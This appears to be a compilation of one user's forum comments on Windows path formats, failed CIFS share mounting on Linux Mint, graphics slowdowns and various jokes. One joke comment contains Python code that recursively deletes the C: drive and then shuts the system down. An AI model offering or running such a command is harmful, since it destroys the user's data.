fuck me c# - is this how we compare paths

hahaha I’ve done this exact thing before, with windows formatting folder paths as x/y/z and file paths as x\y\z.ext, especially since some modules would only accept one format or another

Don’t worry, I’ll make sure to get rid of that python!

import shutil
import win32api
shutil.rmtree('C:', ignore_errors=True)
win32api.InitiateSystemShutdown()

Dumb question here, but you did remember to point at a directory to mount the share to, right?

Yeah, I forgot to make that a part of the comment, oops!

I’ll try your other suggestions when I can.

I don’t really have a good memory, but I talked through it with some folks online and after 2 hours none of us could figure it out so I don’t think you’ll have much luck.

The error I kept getting was mount error(13): Permission denied when trying to run

sudo mount.cifs '//DESKTOP-N84OKKP/My Music/ -o username='*******',password='*******'

(username and password redacted, but there was a space in the username and an ! in the password for the computer sharing the folder)

Here’s what I tried:

• Setting the username/password to those of either computer
• Setting the UID (with uid=$UID)
• Changing the name of the shared folder
• Unsharing it and resharing it
• Putting different parts of the command in quotes
• Switching between left slashes and right slashes
• Trying both sudo mount.cifs and sudo mount -t cifs
• Various combinations of the above
• Changing the security protocol with sec= (I don’t remember what to, I didn’t write this one down)

I know the shared folder itself works, because I can access it from a non-linux computer.

Might just be a US thing, it’s all I’ve seen in schools here (for daily use I mean, I did see a 3d modeling class using Windows desktops though)

I recently installed mint on my laptop and I’m stumped trying to get my bluetooth headphones and windows’ shared folders to work, I can see why most people don’t use linux

also the sign language translator standing in front of a non-greenscreened greenscreen is a bit funny

Looks like it died.

I REMAIN. I REMAIN… AS A PERFORMANCE ARTIST

I am a common rube, what is this?

edit: god rube is such a fun word

Did this happen while you were trying it out on the USB, or had the installation finished and you had removed the USB and restarted?

After I had finished the installation and restarted

Were the nvidia d rivers installed in the driver manager? Was there any difference with the open source drivers?

I don’t know, I don’t use an Nvidia card

Was secure boot disabled in your BIOS?

Yes

Was it a laptop or desktop? In case of laptop it might have been using battery saver mode. installing https://github.com/linrunner/TLP might have helped setting it up properly if you don’t want to handle it yourself.

It’s a desktop PC

What graphics card do you have? I can check if there are any compatibility issues, though there shouldn’t be unless it is decades old, in which case you might want to try out one of the more old hardware compatibility focused Linux distros.

Intel Integrated Graphics 4000 (on a i7-3770 CPU)

(I’m still probably not going to try again for the time being, but I figured I’d answer your questions anyways)

I don’t know the terminology but it slowed down like how a video game slowed down, everything was super choppy as if it had decreased framerate

I tried switching a few days ago but the performance was so awful for some reason, ended up having to switch back (linux mint)

this is what happens when you get a circumcision 😔 (donate to robots in need today)
